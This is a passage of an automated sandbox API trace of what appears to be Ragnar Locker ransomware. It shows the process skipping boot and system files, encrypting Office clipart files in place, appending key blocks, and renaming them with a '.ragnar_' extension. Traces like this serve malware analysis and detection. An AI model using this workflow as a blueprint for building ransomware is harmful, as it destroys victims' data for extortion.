returned 1 [0087.744] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.744] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.744] GetProcessHeap () returned 0x580000 [0087.744] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.744] CloseHandle (hObject=0xf4) returned 1 [0087.744] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" [0087.745] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.ragnar_FD7BD9FC" [0087.745] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.745] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0324694.WMF", cAlternateFileName="")) returned 1 [0087.745] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.745] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0324694.WMF" | out: lpString1="J0324694.WMF") returned="J0324694.WMF" [0087.745] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF") returned=".WMF" [0087.745] lstrcmpiW (lpString1="J0324694.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.745] lstrcmpiW (lpString1="J0324694.WMF", lpString2="autorun.inf") returned 1 [0087.745] lstrcmpiW (lpString1="J0324694.WMF", lpString2="boot.ini") returned 1 [0087.745] lstrcmpiW (lpString1="J0324694.WMF", lpString2="bootfont.bin") returned 1 [0087.745] lstrcmpiW (lpString1="J0324694.WMF", lpString2="bootsect.bak") returned 1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="bootmgr") returned 1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="bootmgr.efi") returned 1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="bootmgfw.efi") returned 1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="desktop.ini") returned 1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="iconcache.db") returned 1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="ntldr") returned -1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="ntuser.dat") returned -1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="ntuser.dat.log") returned -1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="ntuser.ini") returned -1 [0087.746] lstrcmpiW (lpString1="J0324694.WMF", lpString2="thumbs.db") returned -1 [0087.746] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.746] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.746] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.746] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.746] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.746] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.746] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf")) returned 0x20 [0087.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.746] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12280) returned 1 [0087.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2fef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.747] GetProcessHeap () returned 0x580000 [0087.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.747] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2ff8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.748] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ff8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2ff8, lpOverlapped=0x0) returned 1 [0087.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.749] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ff8, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.749] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ff8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2ff8, lpOverlapped=0x0) returned 1 [0087.750] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ff8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.750] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.750] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ff8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.750] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.750] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.750] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.750] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.750] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.750] GetProcessHeap () returned 0x580000 [0087.750] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.750] CloseHandle (hObject=0xf4) returned 1 [0087.750] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" [0087.750] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.ragnar_FD7BD9FC" [0087.750] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.751] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0324704.WMF", cAlternateFileName="")) returned 1 [0087.751] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.751] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0324704.WMF" | out: lpString1="J0324704.WMF") returned="J0324704.WMF" [0087.751] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF") returned=".WMF" [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="autorun.inf") returned 1 [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="boot.ini") returned 1 [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="bootfont.bin") returned 1 [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="bootsect.bak") returned 1 [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="bootmgr") returned 1 [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="bootmgr.efi") returned 1 [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="bootmgfw.efi") returned 1 [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="desktop.ini") returned 1 [0087.751] lstrcmpiW (lpString1="J0324704.WMF", lpString2="iconcache.db") returned 1 [0087.752] lstrcmpiW (lpString1="J0324704.WMF", lpString2="ntldr") returned -1 [0087.752] lstrcmpiW (lpString1="J0324704.WMF", lpString2="ntuser.dat") returned -1 [0087.752] lstrcmpiW (lpString1="J0324704.WMF", lpString2="ntuser.dat.log") returned -1 [0087.752] lstrcmpiW (lpString1="J0324704.WMF", lpString2="ntuser.ini") returned -1 [0087.752] lstrcmpiW (lpString1="J0324704.WMF", lpString2="thumbs.db") returned -1 [0087.752] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.752] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.752] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.752] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.752] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.752] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.752] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf")) returned 0x20 [0087.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.752] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11902) returned 1 [0087.752] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.752] GetProcessHeap () returned 0x580000 [0087.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.752] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2e7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.754] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2e7e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2e7e, lpOverlapped=0x0) returned 1 [0087.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.755] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e7e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.755] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2e7e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2e7e, lpOverlapped=0x0) returned 1 [0087.755] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e7e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.755] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.756] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.756] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.756] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.756] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.756] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.756] GetProcessHeap () returned 0x580000 [0087.756] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.756] CloseHandle (hObject=0xf4) returned 1 [0087.756] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" [0087.756] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.ragnar_FD7BD9FC" [0087.756] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.757] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0337280.JPG", cAlternateFileName="")) returned 1 [0087.757] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.757] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0337280.JPG" | out: lpString1="J0337280.JPG") returned="J0337280.JPG" [0087.757] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG") returned=".JPG" [0087.757] lstrcmpiW (lpString1="J0337280.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.757] lstrcmpiW (lpString1="J0337280.JPG", lpString2="autorun.inf") returned 1 [0087.757] lstrcmpiW (lpString1="J0337280.JPG", lpString2="boot.ini") returned 1 [0087.757] lstrcmpiW (lpString1="J0337280.JPG", lpString2="bootfont.bin") returned 1 [0087.757] lstrcmpiW (lpString1="J0337280.JPG", lpString2="bootsect.bak") returned 1 [0087.757] lstrcmpiW (lpString1="J0337280.JPG", lpString2="bootmgr") returned 1 [0087.757] lstrcmpiW (lpString1="J0337280.JPG", lpString2="bootmgr.efi") returned 1 [0087.758] lstrcmpiW (lpString1="J0337280.JPG", lpString2="bootmgfw.efi") returned 1 [0087.758] lstrcmpiW (lpString1="J0337280.JPG", lpString2="desktop.ini") returned 1 [0087.758] lstrcmpiW (lpString1="J0337280.JPG", lpString2="iconcache.db") returned 1 [0087.758] lstrcmpiW (lpString1="J0337280.JPG", lpString2="ntldr") returned -1 [0087.758] lstrcmpiW (lpString1="J0337280.JPG", lpString2="ntuser.dat") returned -1 [0087.758] lstrcmpiW (lpString1="J0337280.JPG", lpString2="ntuser.dat.log") returned -1 [0087.758] lstrcmpiW (lpString1="J0337280.JPG", lpString2="ntuser.ini") returned -1 [0087.758] lstrcmpiW (lpString1="J0337280.JPG", lpString2="thumbs.db") returned -1 [0087.758] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.758] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.758] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.758] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.758] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.758] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.758] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg")) returned 0x20 [0087.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.758] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12896) returned 1 [0087.759] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3257, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.759] GetProcessHeap () returned 0x580000 [0087.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.759] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.760] VirtualAlloc (lpAddress=0x0, dwSize=0x3260, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.760] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3260, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3260, lpOverlapped=0x0) returned 1 [0087.761] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.761] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3260, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.761] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3260, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3260, lpOverlapped=0x0) returned 1 [0087.762] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3260, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.762] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3260, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.762] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.762] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.762] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.762] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.762] UnlockFile 